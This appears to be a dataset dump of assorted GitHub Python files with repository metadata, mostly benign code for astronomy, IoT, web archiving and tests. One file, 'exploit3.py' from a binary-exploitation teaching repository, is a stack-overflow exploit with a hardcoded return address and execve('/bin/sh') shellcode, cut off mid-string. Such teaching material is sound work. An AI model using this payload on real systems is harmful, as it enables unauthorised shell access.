2020-02-19T20:02:26.000Z
2022-02-11T18:47:56.000Z
import bpy if __name__ == "__main__": create(bpy.context.active_object)
49.948363
270
0.666154
import bpy from mathutils import Color def create(obj): # generated by rigify.utils.write_metarig bpy.ops.object.mode_set(mode='EDIT') arm = obj.data for i in range(6): arm.rigify_colors.add() arm.rigify_colors[0].name = "Root" arm.rigify_colors[0].active = Color((0.549019634723663...
0
0
0
0
0
39,529
0
6
46
ea03b83c85944b32b18ad7b834263f15f47ad00f
2,512
py
Python
checks.d/aws_ebs_burst_balance.py
mounemoi/datadog-aws-burst-balance
58c261b69d23185e5a08f19e7d2ce4e43f950121
[ "MIT" ]
null
null
null
checks.d/aws_ebs_burst_balance.py
mounemoi/datadog-aws-burst-balance
58c261b69d23185e5a08f19e7d2ce4e43f950121
[ "MIT" ]
null
null
null
checks.d/aws_ebs_burst_balance.py
mounemoi/datadog-aws-burst-balance
58c261b69d23185e5a08f19e7d2ce4e43f950121
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*-
36.941176
102
0.480096
# -*- coding: utf-8 -*- from checks import AgentCheck from boto3.session import Session import datetime class EBSBurstBalance(AgentCheck): def check(self, config): if 'region' not in config: self.log.error('no region') return session = Session(region_name=config['region'])...
0
0
0
2,384
0
0
0
14
89
765339d4fc4652eb9c074cc80533af5039fad69c
8,884
py
Python
main/interferometer_testing_LWA.py
nithyanandan/MOFF
c2bd68b792a5269cfffe1d93b4710eae9ba8ca55
[ "MIT" ]
3
2019-12-11T07:14:10.000Z
2020-11-07T19:25:32.000Z
main/interferometer_testing_LWA.py
nithyanandan/MOFF
c2bd68b792a5269cfffe1d93b4710eae9ba8ca55
[ "MIT" ]
8
2015-08-20T19:46:29.000Z
2015-09-19T01:31:43.000Z
main/interferometer_testing_LWA.py
epic-astronomy/EPIC
c2bd68b792a5269cfffe1d93b4710eae9ba8ca55
[ "MIT" ]
1
2019-09-24T19:05:34.000Z
2019-09-24T19:05:34.000Z
import numpy as NP import matplotlib.pyplot as PLT import scipy.constants as FCNST from astropy.io import fits import antenna_array as AA import my_DSP_modules as DSP import ipdb as PDB LWA_reformatted_datafile_prefix = '/data3/t_nithyanandan/project_MOFF/data/samples/lwa_reformatted_data_test' LWA_pol0_reformatted_da...
46.757895
219
0.647794
import datetime as DT import numpy as NP import matplotlib.pyplot as PLT import matplotlib.colors as PLTC import scipy.constants as FCNST from astropy.io import fits from astropy.io import ascii from astropy.table import Table import progressbar as PGB import antenna_array as AA import geometry as GEOM import my_DSP_mo...
0
0
0
0
0
0
0
38
154
eb9a9f1b47b096471f29f1f8404752392820034c
1,220
py
Python
convert_to_list.py
HimanchalChandra/visual-relationship-detection
74922fbb8a3dc1a15b539a7178acb48256f3ad0c
[ "Apache-2.0" ]
2
2021-04-16T08:33:24.000Z
2021-10-15T12:21:53.000Z
convert_to_list.py
HimanchalChandra/visual-relationship-detection
74922fbb8a3dc1a15b539a7178acb48256f3ad0c
[ "Apache-2.0" ]
null
null
null
convert_to_list.py
HimanchalChandra/visual-relationship-detection
74922fbb8a3dc1a15b539a7178acb48256f3ad0c
[ "Apache-2.0" ]
null
null
null
import json import os from opts import parse_opts opt = parse_opts() # prepare train.txt with open(os.path.join(opt.dataset_path, 'json_dataset','annotations_train.json'), 'r') as f: annotations = json.load(f) sg_train_images = os.listdir(os.path.join(opt.dataset_path,'sg_dataset','sg_train_images')) sg_test_ima...
27.727273
93
0.686066
import json import os from opts import parse_opts opt = parse_opts() # prepare train.txt with open(os.path.join(opt.dataset_path, 'json_dataset','annotations_train.json'), 'r') as f: annotations = json.load(f) sg_train_images = os.listdir(os.path.join(opt.dataset_path,'sg_dataset','sg_train_images')) sg_test_ima...
0
0
0
0
0
0
0
0
0
f62dc224cc333347c997eb5e3bac4a133452c4ee
4,528
py
Python
ndcube/tests/test_utils_wcs.py
BaptistePellorceAstro/ndcube
eaa2841a6bf90ac2fb2f901747c9a297c0810862
[ "BSD-2-Clause" ]
null
null
null
ndcube/tests/test_utils_wcs.py
BaptistePellorceAstro/ndcube
eaa2841a6bf90ac2fb2f901747c9a297c0810862
[ "BSD-2-Clause" ]
null
null
null
ndcube/tests/test_utils_wcs.py
BaptistePellorceAstro/ndcube
eaa2841a6bf90ac2fb2f901747c9a297c0810862
[ "BSD-2-Clause" ]
null
null
null
# -*- coding: utf-8 -*- from ndcube import utils ht = {'CTYPE3': 'HPLT-TAN', 'CUNIT3': 'deg', 'CDELT3': 0.5, 'CRPIX3': 0, 'CRVAL3': 0, 'NAXIS3': 2, 'CTYPE2': 'WAVE ', 'CUNIT2': 'Angstrom', 'CDELT2': 0.2, 'CRPIX2': 0, 'CRVAL2': 0, 'NAXIS2': 3, 'CTYPE1': 'TIME ', 'CUNIT1': 'min', 'CDELT1': 0.4,...
38.05042
98
0.612633
# -*- coding: utf-8 -*- import pytest import unittest import numpy as np import astropy.wcs from ndcube import utils from ndcube.tests import helpers ht = {'CTYPE3': 'HPLT-TAN', 'CUNIT3': 'deg', 'CDELT3': 0.5, 'CRPIX3': 0, 'CRVAL3': 0, 'NAXIS3': 2, 'CTYPE2': 'WAVE ', 'CUNIT2': 'Angstrom', 'CDELT2': 0.2, 'C...
0
2,599
0
0
0
0
0
-9
318
6ab56e40aa88ffa63c26d960b84a65a830e938f4
174
py
Python
foo/bar/__init__.py
graingert/henbruas_foo_bar_baz
ba68b63e9424db97d6fd14122e8eaef1a0923a05
[ "MIT" ]
1
2020-09-26T12:41:41.000Z
2020-09-26T12:41:41.000Z
foo/bar/__init__.py
graingert/henbruas-foo-bar-baz
ba68b63e9424db97d6fd14122e8eaef1a0923a05
[ "MIT" ]
null
null
null
foo/bar/__init__.py
graingert/henbruas-foo-bar-baz
ba68b63e9424db97d6fd14122e8eaef1a0923a05
[ "MIT" ]
null
null
null
import foo.bar.baz __all__ = ["foo", "baz"] reveal_type(foo) reveal_type(foo.bar) reveal_type(foo.bar.baz) reveal_type(foo.bar.baz.x) reveal_type(baz) reveal_type(bar.baz)
15.818182
26
0.752874
import foo.bar.baz __all__ = ["foo", "baz"] reveal_type(foo) reveal_type(foo.bar) reveal_type(foo.bar.baz) reveal_type(foo.bar.baz.x) reveal_type(baz) reveal_type(bar.baz)
0
0
0
0
0
0
0
0
0
3f9275e231dab92870638e5c2ba019e1d962a073
18,443
py
Python
esphome/components/mqtt/__init__.py
OttoWinter/esphomeyaml
6a85259e4d6d1b0a0f819688b8e555efcb99ecb0
[ "MIT" ]
249
2018-04-07T12:04:11.000Z
2019-01-25T01:11:34.000Z
esphome/components/mqtt/__init__.py
OttoWinter/esphomeyaml
6a85259e4d6d1b0a0f819688b8e555efcb99ecb0
[ "MIT" ]
243
2018-04-11T16:37:11.000Z
2019-01-25T16:50:37.000Z
esphome/components/mqtt/__init__.py
OttoWinter/esphomeyaml
6a85259e4d6d1b0a0f819688b8e555efcb99ecb0
[ "MIT" ]
40
2018-04-10T05:50:14.000Z
2019-01-25T15:20:36.000Z
import esphome.codegen as cg import esphome.config_validation as cv from esphome import automation from esphome.automation import Condition from esphome.components import logger from esphome.const import (CONF_BIRTH_MESSAGE, CONF_BROKER, CONF_CERTIFICATE_AUTHORITY, CONF_CLIENT_ID, CONF_DISCOVERY, CONF_DISCOVERY_PREFIX...
37.034137
88
0.680638
import re import esphome.codegen as cg import esphome.config_validation as cv from esphome import automation from esphome.automation import Condition from esphome.components import logger from esphome.const import ( CONF_AVAILABILITY, CONF_BIRTH_MESSAGE, CONF_BROKER, CONF_CERTIFICATE_AUTHORITY, CON...
0
6,544
986
0
0
1,905
0
343
274
a1aa629cae29520de03a214cd3415b0e7fc05606
456
py
Python
intermediate problems/Algorithmic Complexity/Wrath.py
doanthinhvo/Codeforces-Solutions-in-Python
92686f3234202ef1049e14c078dcc29b1d5ac225
[ "MIT" ]
4
2021-06-14T10:44:28.000Z
2021-06-26T05:29:07.000Z
intermediate problems/Algorithmic Complexity/Wrath.py
doanthinhvo/Codeforces-Solutions-in-Python
92686f3234202ef1049e14c078dcc29b1d5ac225
[ "MIT" ]
null
null
null
intermediate problems/Algorithmic Complexity/Wrath.py
doanthinhvo/Codeforces-Solutions-in-Python
92686f3234202ef1049e14c078dcc29b1d5ac225
[ "MIT" ]
2
2021-06-22T12:47:53.000Z
2021-06-26T05:29:09.000Z
n = int(input()) a = list(map(int, input().split())) count = 0 j = n - 1 #j l gii hn bt u ca mt ln v: j gip chng lp ngi b git. #j phi lun b hn i, v ngi i ch v c nhng ngi bn tri n. #last_kill_pos: l gii hn kt thc ca mt ln v. for i in range(n - 1, -1 , -1): j = min(i, j) last_kill_pos = max(0, i - a[i]) if j > ...
22.8
74
0.627193
n = int(input()) a = list(map(int, input().split())) count = 0 j = n - 1 #j là giới hạn bắt đầu của một lần vả: j giúp chống lặp người đã bị giết. #j phải luôn bé hơn i, vì người ở i chỉ vả được những người ở bên trái nó. #last_kill_pos: là giới hạn kết thúc của một lần vả. for i in range(n - 1, -1 , -1): j = min(i...
125
0
0
0
0
0
0
0
0
3df08c48b4543e016839229685c6a766d7e87508
4,233
py
Python
multiProc/src/parGALE.py
rahlk/Experimental-Algorithms
d04a2d3ec5a4c54ff3ebff5cf003b93d2a983061
[ "MIT" ]
null
null
null
multiProc/src/parGALE.py
rahlk/Experimental-Algorithms
d04a2d3ec5a4c54ff3ebff5cf003b93d2a983061
[ "MIT" ]
9
2015-09-14T21:07:06.000Z
2015-12-08T01:38:08.000Z
multiProc/src/parGALE.py
rahlk/Experimental-Algorithms
d04a2d3ec5a4c54ff3ebff5cf003b93d2a983061
[ "MIT" ]
null
null
null
""" """ from __future__ import print_function, division import os import subprocess import sys sys.path.append(os.path.abspath('../problems/')) # Get the git root directory root=repo_dir = subprocess.Popen(['git' ,'rev-parse' , '--show-topleve...
27.666667
77
0.616584
""" """ from __future__ import print_function, division import os from demo import * import subprocess import sys sys.path.append(os.path.abspath('../problems/')) # Get the git root directory root=repo_dir = subprocess.Popen(['git' ,'rev-parse' ...
0
0
0
0
0
2,165
0
42
282
72ff83346d8d3330659ad8dff6135283c056fe91
2,441
py
Python
oauthenticator/tests/test_bitbucket.py
jeff-sternberg/oauthenticator
158eb206dd2b59961442a4d3b67fbbb179a3030a
[ "BSD-3-Clause" ]
4
2019-09-17T08:10:57.000Z
2020-09-03T21:27:21.000Z
oauthenticator/tests/test_bitbucket.py
jeff-sternberg/oauthenticator
158eb206dd2b59961442a4d3b67fbbb179a3030a
[ "BSD-3-Clause" ]
2
2017-05-02T18:44:55.000Z
2017-10-06T15:11:23.000Z
oauthenticator/tests/test_bitbucket.py
jeff-sternberg/oauthenticator
158eb206dd2b59961442a4d3b67fbbb179a3030a
[ "BSD-3-Clause" ]
4
2019-09-27T03:22:44.000Z
2021-01-20T08:47:34.000Z
def user_model(username): """Return a user model""" return { 'username': username, }
29.409639
68
0.669398
import os from unittest.mock import patch from pytest import fixture, mark from ..bitbucket import BitbucketOAuthenticator from .mocks import setup_oauth_mock def user_model(username): """Return a user model""" return { 'username': username, } @fixture def bitbucket_client(client): setup_o...
0
209
1,892
0
0
0
0
49
182
92f64bf7bd58edbbd33babc4dc0d18c33704d313
2,823
py
Python
pmi/pmi_odds.py
rogersprates/word2vec-financial-sentiment
42172b47dc0a5d228e473bd34d15a9aa59c43537
[ "MIT" ]
2
2018-11-16T13:44:24.000Z
2021-09-23T23:54:34.000Z
pmi/pmi_odds.py
dimiiako/word2vec-financial-sentiment
42172b47dc0a5d228e473bd34d15a9aa59c43537
[ "MIT" ]
null
null
null
pmi/pmi_odds.py
dimiiako/word2vec-financial-sentiment
42172b47dc0a5d228e473bd34d15a9aa59c43537
[ "MIT" ]
3
2017-04-12T07:00:23.000Z
2021-11-27T03:43:33.000Z
"""pmi_odds.py: computes the PMI (Pointwise mutual information) with odds """ __author__ = "Edimar Manica"
33.607143
91
0.680482
"""pmi_odds.py: computes the PMI (Pointwise mutual information) with odds """ import json import os from probabilities import pmi_odds __author__ = "Edimar Manica" def create_vocabulary(news): vocabulary = [] for ide in news: vocabulary = vocabulary + news[ide]["text"] return set(vocabulary...
0
0
0
0
0
2,536
0
-9
182
407bdee7a7f86e022e7da89584d22b5150934f0d
2,332
py
Python
hist.py
lclutz/sublime-text-shell-command
846e1d04c20fba7612d8073e8b1b19439f4ab559
[ "MIT" ]
96
2015-01-06T17:37:21.000Z
2022-02-14T11:14:11.000Z
hist.py
lclutz/sublime-text-shell-command
846e1d04c20fba7612d8073e8b1b19439f4ab559
[ "MIT" ]
50
2015-01-01T13:26:24.000Z
2021-12-20T01:04:18.000Z
hist.py
lclutz/sublime-text-shell-command
846e1d04c20fba7612d8073e8b1b19439f4ab559
[ "MIT" ]
27
2015-02-12T18:17:22.000Z
2022-03-31T03:03:27.000Z
# NOTE(kaste): Take from https://github.com/randy3k/AlignTab # Copyright (c) 2015 Randy Lai <randy.cs.lai@gmail.com> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, in...
35.333333
87
0.691681
# NOTE(kaste): Take from https://github.com/randy3k/AlignTab # Copyright (c) 2015 Randy Lai <randy.cs.lai@gmail.com> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, in...
0
0
0
1,014
0
0
0
-7
91
f20ec0d8e0574b5719072252566350a189a75043
336
py
Python
testtools/UART_interface/serial_settings.py
cbauer10/azure-iot-sdk-c
2080c8b537f31b72b8668ba3bb8c6772da55d63a
[ "MIT" ]
545
2016-11-29T18:04:48.000Z
2022-03-28T09:31:06.000Z
testtools/UART_interface/serial_settings.py
cbauer10/azure-iot-sdk-c
2080c8b537f31b72b8668ba3bb8c6772da55d63a
[ "MIT" ]
1,644
2016-11-17T09:49:31.000Z
2022-03-30T18:10:13.000Z
testtools/UART_interface/serial_settings.py
cbauer10/azure-iot-sdk-c
2080c8b537f31b72b8668ba3bb8c6772da55d63a
[ "MIT" ]
826
2016-11-16T16:05:16.000Z
2022-03-18T19:23:22.000Z
baud_rate = 115200 port = "/dev/ttyACM1" input_file=None output_file='log.txt' wait_for_flash = 10 bits_to_cache = 1600 mxchip_file = "/media/newt/AZ31665" setup_string = "Setup complete" skip_setup = False mxchip_buf_pause = .06 serial_comm_timeout = 2 device_type = 'mxchip' test_timeout = None reset_device = False te...
21
35
0.779762
baud_rate = 115200 port = "/dev/ttyACM1" input_file=None output_file='log.txt' wait_for_flash = 10 bits_to_cache = 1600 mxchip_file = "/media/newt/AZ31665" setup_string = "Setup complete" skip_setup = False mxchip_buf_pause = .06 serial_comm_timeout = 2 device_type = 'mxchip' test_timeout = None reset_device = False te...
0
0
0
0
0
0
0
0
0
84807805d4c9e99301ea9459dc3f1a877cc0d1c9
428
py
Python
pulsar/async/_subprocess.py
PyCN/pulsar
fee44e871954aa6ca36d00bb5a3739abfdb89b26
[ "BSD-3-Clause" ]
1,410
2015-01-02T14:55:07.000Z
2022-03-28T17:22:06.000Z
pulsar/async/_subprocess.py
PyCN/pulsar
fee44e871954aa6ca36d00bb5a3739abfdb89b26
[ "BSD-3-Clause" ]
194
2015-01-22T06:18:24.000Z
2020-10-20T21:21:58.000Z
pulsar/async/_subprocess.py
PyCN/pulsar
fee44e871954aa6ca36d00bb5a3739abfdb89b26
[ "BSD-3-Clause" ]
168
2015-01-31T10:29:55.000Z
2022-03-14T10:22:24.000Z
if __name__ == '__main__': import sys import pickle from multiprocessing import current_process from multiprocessing.spawn import import_main_path data = pickle.load(sys.stdin.buffer) current_process().authkey = data['authkey'] sys.path = data['path'] import_main_path(data['main']) ...
25.176471
54
0.705607
if __name__ == '__main__': import sys import pickle from multiprocessing import current_process from multiprocessing.spawn import import_main_path data = pickle.load(sys.stdin.buffer) current_process().authkey = data['authkey'] sys.path = data['path'] import_main_path(data['main']) ...
0
0
0
0
0
0
0
0
0
59627c56bf8f3b4b82db7818b4d48287abf4a605
5,750
py
Python
tests/conftest.py
ilya-e/coordinates
328ef6f07450592524b49c71a0859c3b1d1fd489
[ "MIT" ]
null
null
null
tests/conftest.py
ilya-e/coordinates
328ef6f07450592524b49c71a0859c3b1d1fd489
[ "MIT" ]
4
2019-05-15T10:24:48.000Z
2022-01-28T01:14:55.000Z
tests/conftest.py
ilya-e/coordinates
328ef6f07450592524b49c71a0859c3b1d1fd489
[ "MIT" ]
5
2017-12-23T09:48:07.000Z
2022-03-17T05:52:02.000Z
_nav_content_v2 = '''\ 2 NAVIGATION DATA RINEX VERSION / TYPE CCRINEXN V1.6.0 UX CDDIS 12-APR-16 17:31 PGM / RUN BY / DATE IGS BROADCAST EPHEMERIS FILE COMMENT 0.1583D-07 0.1490D-07 -0.1192D-06 -0.1192D-06 ...
55.288462
80
0.669217
from io import StringIO import pytest from testlib import mktmp _nav_content_v2 = '''\ 2 NAVIGATION DATA RINEX VERSION / TYPE CCRINEXN V1.6.0 UX CDDIS 12-APR-16 17:31 PGM / RUN BY / DATE IGS BROADCAST EPHEMERIS FILE COMMENT ...
0
259
0
0
0
0
0
-2
182
dbbcbe484440229c47401ead61b8028c24591e0c
83,613
py
Python
tool/Controllers/TensorFlowParser.py
HornedSungem/SungemSDK-Python
5ce5eb7f84654aecf6840de773188f436219559d
[ "Apache-2.0" ]
14
2018-08-16T09:11:39.000Z
2019-12-07T12:54:32.000Z
movidius/NCSDK/ncsdk-x86_64/tk/Controllers/TensorFlowParser.py
satabios/Yolo-implementation-using-Intel-Movidius-Neural-Compute-Stick-NCS-on-Raspberry-Pi
79b410b5a4c6deea209ef999a97c5e32da58653f
[ "MIT" ]
2
2019-08-23T23:31:10.000Z
2020-06-17T09:21:57.000Z
tool/Controllers/TensorFlowParser.py
HornedSungem/SungemSDK-Python
5ce5eb7f84654aecf6840de773188f436219559d
[ "Apache-2.0" ]
7
2018-10-02T01:46:43.000Z
2021-06-04T19:10:47.000Z
# Copyright 2017 Intel Corporation. # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. # The Material contains proprietary information of Intel...
44.784681
186
0.392642
# Copyright 2017 Intel Corporation. # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. # The Material contains proprietary information of Intel...
0
0
0
0
0
80,713
0
147
425
090b7c98b12efeb6c22312354186eb599698aef2
316
py
Python
getline/excepts.py
timtadh/getline
c17a3405bde1f2edd2bdfbb9ad4c230d0419ac0b
[ "BSD-3-Clause" ]
4
2015-03-25T04:53:43.000Z
2016-07-17T18:06:42.000Z
getline/excepts.py
timtadh/getline
c17a3405bde1f2edd2bdfbb9ad4c230d0419ac0b
[ "BSD-3-Clause" ]
null
null
null
getline/excepts.py
timtadh/getline
c17a3405bde1f2edd2bdfbb9ad4c230d0419ac0b
[ "BSD-3-Clause" ]
null
null
null
''' Getline - A library to get text from the console Author: Tim Henderson Contact: tim.tadh@hackthology.com Copyright (c) 2010 All Rights Reserved. Licensed under a BSD style license see the LICENSE file. File: __linux_impl Purpose: The linux implementation of getline '''
24.307692
56
0.787975
''' Getline - A library to get text from the console Author: Tim Henderson Contact: tim.tadh@hackthology.com Copyright (c) 2010 All Rights Reserved. Licensed under a BSD style license see the LICENSE file. File: __linux_impl Purpose: The linux implementation of getline ''' class GetlineException(Exception): pass
0
0
0
18
0
0
0
0
23
55d9072e4d504f55d90ff8e9c73484fcf9c7cdd6
528
py
Python
01-python-refresher/problems/05-first-negative-index.py
estimand/python-for-data-science
90178784eb40936054d53f4ebbb67b2cf7fd4087
[ "CC-BY-4.0" ]
null
null
null
01-python-refresher/problems/05-first-negative-index.py
estimand/python-for-data-science
90178784eb40936054d53f4ebbb67b2cf7fd4087
[ "CC-BY-4.0" ]
null
null
null
01-python-refresher/problems/05-first-negative-index.py
estimand/python-for-data-science
90178784eb40936054d53f4ebbb67b2cf7fd4087
[ "CC-BY-4.0" ]
4
2019-03-05T17:53:30.000Z
2019-06-26T11:48:57.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import unittest def first_negative_index(): """ Returns the index of the first negative element in a given list of numbers. """ return if __name__ == "__main__": unittest.main()
22.956522
79
0.668561
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import unittest def first_negative_index(): """ Returns the index of the first negative element in a given list of numbers. """ return class TestFirstNegativeIndex(unittest.TestCase): def test_first_negative_index(self): self.assertIsNone(f...
0
0
0
254
0
0
0
0
23
69396c6f63e0123dbeff5f668a09d4d0ec0ad2c8
9,832
py
Python
src/main.py
autowonderman/2018-JData-Unicom-RiskUser
6ea5d3179aa8ea1a89e9b8fa7e74ce9c9cac4302
[ "MIT" ]
20
2018-05-23T08:39:16.000Z
2021-02-20T04:14:06.000Z
src/main.py
wujx0213/2018-JData-Unicom-RiskUser
6ea5d3179aa8ea1a89e9b8fa7e74ce9c9cac4302
[ "MIT" ]
null
null
null
src/main.py
wujx0213/2018-JData-Unicom-RiskUser
6ea5d3179aa8ea1a89e9b8fa7e74ce9c9cac4302
[ "MIT" ]
17
2018-05-23T07:28:22.000Z
2019-03-20T09:18:28.000Z
# coding: utf-8 from __future__ import division import pandas as pd from multiprocessing import cpu_count import warnings warnings.filterwarnings('ignore') # Constants define ROOT_PATH = '../' ONLINE = 1 target = 'label' train_len = 4999 threshold = 0.5 ########################################### Helper function ...
49.908629
139
0.682465
# coding: utf-8 from __future__ import division import numpy as np import pandas as pd from sklearn import metrics import lightgbm as lgb import time from multiprocessing import cpu_count import warnings warnings.filterwarnings('ignore') # Constants define ROOT_PATH = '../' ONLINE = 1 target = 'label' train_len = 4...
0
0
0
0
0
3,735
0
-6
341
4dc2c05150b71590453542cfcd0e517e57e240e9
6,578
py
Python
archivebox/logs.py
backwardn/ArchiveBox
10799e4085b6f0c791135c3df06675618e34aa78
[ "MIT" ]
2
2019-10-17T00:42:41.000Z
2020-11-05T22:41:22.000Z
archivebox/logs.py
backwardn/ArchiveBox
10799e4085b6f0c791135c3df06675618e34aa78
[ "MIT" ]
59
2019-09-25T06:15:31.000Z
2021-07-21T05:29:52.000Z
archivebox/logs.py
backwardn/ArchiveBox
10799e4085b6f0c791135c3df06675618e34aa78
[ "MIT" ]
1
2019-10-22T19:23:21.000Z
2019-10-22T19:23:21.000Z
from config import ANSI, REPO_DIR # globals are bad, mmkay _LAST_RUN_STATS = { 'skipped': 0, 'succeeded': 0, 'failed': 0, 'parsing_start_ts': 0, 'parsing_end_ts': 0, 'indexing_start_ts': 0, 'indexing_end_ts': 0, 'archiving_start_ts': 0, 'archiving_end_ts': 0, 'links': {}, }...
32.564356
108
0.574187
import sys from datetime import datetime from config import ANSI, REPO_DIR, OUTPUT_DIR # globals are bad, mmkay _LAST_RUN_STATS = { 'skipped': 0, 'succeeded': 0, 'failed': 0, 'parsing_start_ts': 0, 'parsing_end_ts': 0, 'indexing_start_ts': 0, 'indexing_end_ts': 0, 'archiving_start_t...
15
0
0
0
0
3,985
0
9
297
b0b4f8e45c3a89e33030d8d4505d5c8ac2abe457
2,054
py
Python
external/vcm/vcm/testing.py
ai2cm/fv3net
e62038aee0a97d6207e66baabd8938467838cf51
[ "MIT" ]
1
2021-12-14T23:43:35.000Z
2021-12-14T23:43:35.000Z
external/vcm/vcm/testing.py
ai2cm/fv3net
e62038aee0a97d6207e66baabd8938467838cf51
[ "MIT" ]
195
2021-09-16T05:47:18.000Z
2022-03-31T22:03:15.000Z
external/vcm/vcm/testing.py
ai2cm/fv3net
e62038aee0a97d6207e66baabd8938467838cf51
[ "MIT" ]
null
null
null
from typing import Hashable, List, Tuple, Mapping import xarray def checksum_dataarray_mapping( d: Mapping[Hashable, xarray.DataArray] ) -> List[Tuple[Hashable, str]]: """Checksum a mapping of datarrays Returns: sorted list of (key, hash) combinations. This is sorted to simplify regress...
28.527778
123
0.643135
from typing import Hashable, List, Tuple, Mapping import contextlib import pytest import numpy as np import joblib import xarray import io @contextlib.contextmanager def no_warning(*args): """Raise error if any errors occur. Takes the same arguments as ``pytest.warns``. Example: >>> import warn...
0
886
0
0
0
575
0
-35
180
f3c271325f8cb951926682f322a1c0dd15800adb
142
py
Python
Aulas/Aulas-Mundo3/Aula016/Aula016c.py
Sofista23/Aula1_Python
129132d977058ac6f23cc95c7bb8b55d8a1bb429
[ "MIT" ]
null
null
null
Aulas/Aulas-Mundo3/Aula016/Aula016c.py
Sofista23/Aula1_Python
129132d977058ac6f23cc95c7bb8b55d8a1bb429
[ "MIT" ]
null
null
null
Aulas/Aulas-Mundo3/Aula016/Aula016c.py
Sofista23/Aula1_Python
129132d977058ac6f23cc95c7bb8b55d8a1bb429
[ "MIT" ]
null
null
null
nome=input("Digite seu nome:") idade=int(input("Digite sua idade:")) sexo=input("Digite seu sexo [m/f]:") tupla=(nome,idade,sexo) print(tupla)
28.4
37
0.711268
nome=input("Digite seu nome:") idade=int(input("Digite sua idade:")) sexo=input("Digite seu sexo [m/f]:") tupla=(nome,idade,sexo) print(tupla)
0
0
0
0
0
0
0
0
0
adca1b751b37f0f6ccdcc090e92f6071104cc127
6,844
py
Python
sentiment_train_model.py
justinli930/Public-Morale-Over-Covid
36fc07e48fe5fcf11cc9c35856f3e2eedc4998ec
[ "Apache-2.0" ]
null
null
null
sentiment_train_model.py
justinli930/Public-Morale-Over-Covid
36fc07e48fe5fcf11cc9c35856f3e2eedc4998ec
[ "Apache-2.0" ]
null
null
null
sentiment_train_model.py
justinli930/Public-Morale-Over-Covid
36fc07e48fe5fcf11cc9c35856f3e2eedc4998ec
[ "Apache-2.0" ]
null
null
null
"""Structure for model trainer loosely taken from https://realpython.com/sentiment-analysis-python mainly for guide on spacy. dataset used is from https://ai.stanford.edu/~amaas/data/sentiment/ using version 2.3.5 of spacy as version 3 includes api issues when trying to use en cor web sm """ import os from random impor...
43.044025
165
0.654004
"""Structure for model trainer loosely taken from https://realpython.com/sentiment-analysis-python mainly for guide on spacy. dataset used is from https://ai.stanford.edu/~amaas/data/sentiment/ using version 2.3.5 of spacy as version 3 includes api issues when trying to use en cor web sm """ import os from random impor...
0
0
0
0
0
622
0
-14
67
46067aa1f219db59d6e7a1fd9908d08cbd9fc4da
443
py
Python
files/vuln3/exploit3.py
Lazula/presentation-binary-exploitation-fundamentals
212a27478210faa4c3655e64d8f982775f5dd58b
[ "Unlicense" ]
null
null
null
files/vuln3/exploit3.py
Lazula/presentation-binary-exploitation-fundamentals
212a27478210faa4c3655e64d8f982775f5dd58b
[ "Unlicense" ]
null
null
null
files/vuln3/exploit3.py
Lazula/presentation-binary-exploitation-fundamentals
212a27478210faa4c3655e64d8f982775f5dd58b
[ "Unlicense" ]
null
null
null
#!/usr/bin/env python2 import struct padding = 'A'*28 #Address used with gdb #shellcode_addr = struct.pack("I", 0xffffd040) #Address used for exploit shellcode_addr = struct.pack("I", 0xffffd0b0) #Source: https://www.exploit-db.com/shellcodes/46809 #execve("/bin/sh", NULL, NULL) shellcode = "\x31\xc9\x6a\x0b\x58\x5...
22.15
94
0.733634
#!/usr/bin/env python2 import struct padding = 'A'*28 #Address used with gdb #shellcode_addr = struct.pack("I", 0xffffd040) #Address used for exploit shellcode_addr = struct.pack("I", 0xffffd0b0) #Source: https://www.exploit-db.com/shellcodes/46809 #execve("/bin/sh", NULL, NULL) shellcode = "\x31\xc9\x6a\x0b\x58\x5...
0
0
0
0
0
0
0
0
0
985f29411a166562fbd25509052b0da7b3013412
1,253
py
Python
dp/q11.py
pengfei-chen/algorithm_qa
c2ccdcb77004e88279d61e4e433ee49527fc34d6
[ "MIT" ]
79
2018-03-27T12:37:49.000Z
2022-01-21T10:18:17.000Z
dp/q11.py
pengfei-chen/algorithm_qa
c2ccdcb77004e88279d61e4e433ee49527fc34d6
[ "MIT" ]
null
null
null
dp/q11.py
pengfei-chen/algorithm_qa
c2ccdcb77004e88279d61e4e433ee49527fc34d6
[ "MIT" ]
27
2018-04-08T03:07:06.000Z
2021-10-30T00:01:50.000Z
""" map -2 -3 3 -5 -10 1 0 30 -5 1 2 31. map """ if __name__ == '__main__': my_map = [[-2, -3, 3], [-5, -10, 1], [10, 30, -5]] print(DungenonGame.get_min_hp(my_map))
27.23913
84
0.533919
""" 给定一个二维数组map,含义是一张地图,例如,如下矩阵: -2 -3 3 -5 -10 1 0 30 -5 游戏规则如下: (1)骑士从左上角出发,每次只能向右或者向下走,最后到达右下角见到公主。 (2)地图中每个位置的值代表骑士要遭遇的事情。如果是负数,说明此处有怪兽, 要让骑士掉血。如果是非负数,则代表此处有血瓶,能让骑士回血。 (3)骑士从左上角到右下角的过程中,走到任何一个位置,血量都不能少于1. 为了保证骑士能见到公主,初始血量至少是多少?根据map,返回初始血量。 """ class DungenonGame: @classmethod def get_min_hp(cls, m): ...
594
828
0
-2
0
0
0
0
49
f4190354b682afdd25419c77b14e1ec356a5d810
6,060
py
Python
pandapower/plotting/plotly/vlevel_plotly.py
suzannejanssen/pandapower
8d0d422c28924c85e774e0e357e4abff86ff3c55
[ "BSD-3-Clause" ]
1
2020-10-19T06:39:15.000Z
2020-10-19T06:39:15.000Z
pandapower/plotting/plotly/vlevel_plotly.py
miek770/pandapower
de004efc1b7432a633792af4f551f7635a02db47
[ "BSD-3-Clause" ]
null
null
null
pandapower/plotting/plotly/vlevel_plotly.py
miek770/pandapower
de004efc1b7432a633792af4f551f7635a02db47
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright (c) 2016-2018 by University of Kassel and Fraunhofer Institute for Energy Economics # and Energy System Technology (IEE), Kassel. All rights reserved. import pandas as pd from pandapower.plotting.generic_geodata import create_generic_coordinates from pandapower.plotting.plotly.tr...
45.223881
120
0.679703
